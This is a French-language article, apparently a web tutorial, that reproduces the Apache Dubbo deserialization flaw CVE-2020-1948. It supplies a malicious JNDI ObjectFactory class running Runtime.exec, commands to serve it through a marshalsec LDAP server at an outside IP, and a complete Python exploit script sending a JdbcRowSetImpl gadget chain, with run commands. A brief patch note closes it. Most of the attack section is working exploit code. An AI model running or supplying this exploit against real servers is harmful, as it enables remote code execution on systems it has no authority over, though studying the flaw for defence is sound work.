Maison > Article > Opération et maintenance > Comment analyser la vulnérabilité de désérialisation d'Apache Dubbo
Dubbo est un framework de service open source hautes performances et excellent d'Alibaba, qui permet aux applications de réaliser des fonctions de sortie et d'entrée de service via un RPC hautes performances, et peut être intégré de manière transparente au framework Spring. Le système comporte trois fonctions principales, notamment l'invocation de méthodes d'interface à distance, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services.
Le 23 juin 2020, Apache Dubbo a officiellement publié un avis de risque pour l'exécution de code à distance d'Apache Dubbo. Le numéro de vulnérabilité est CVE-2020-1948 et le niveau de vulnérabilité est : risque élevé. Apache Dubbo est un framework Java RPC open source léger et hautes performances qui offre trois fonctionnalités principales : l'invocation de méthodes à distance orientées interface, la tolérance aux pannes et l'équilibrage de charge intelligents, ainsi que l'enregistrement et la découverte automatiques des services. Le fournisseur Apache Dubbo présente une vulnérabilité de désérialisation. Un attaquant peut envoyer des noms de services ou des noms de méthodes non reconnus et certaines charges utiles de paramètres malveillants via des requêtes RPC. Lorsque les paramètres malveillants sont désérialisés, cela peut provoquer l'exécution de code à distance.
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officiellement plus maintenu)
Les versions jdk de l'environnement d'exécution et de l'environnement d'expérience de compilation sont toutes deux 8u121 , Démarrez l'environnement de test
java -jar dubbo.jar
Après le démarrage, il écoutera le port 12345
Empreinte digitale du service :
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
Construisez le poc Nous exécutons ici une commande ping pour vérifier si la commande. peut être exécuté et créer un nouveau calc. java,
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
Compile poc
javac calc.java
Placez le poc compilé (calc.class) dans le répertoire du site Web pour vous assurer que l'hôte vulnérable peut y accéder. Utilisez le projet marshalsec pour démarrer un service proxy ldap et téléchargez marshalsec :
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Démarrez le service proxy LDAP Exécutez cette commande et le service ldap écoutera le port 8086
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
Exécutez le test. script. L'environnement python utilisé dans le test ici est 3.8.0. Installez d'abord le package de dépendances
python3 -m pip install dubbo-py
Contenu du script (Dubbo.py) :
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
Exécutez le script
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
. vue dnslog, réception réussie de la demande
Le service ldap peut également voir le transfert de la demande
Bomb Calculator
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
Mise à niveau vers la version 2.7.7 et effectuer la vérification des paramètres selon la méthode du lien suivant
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
Protocole de remplacement et méthode de désérialisation.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!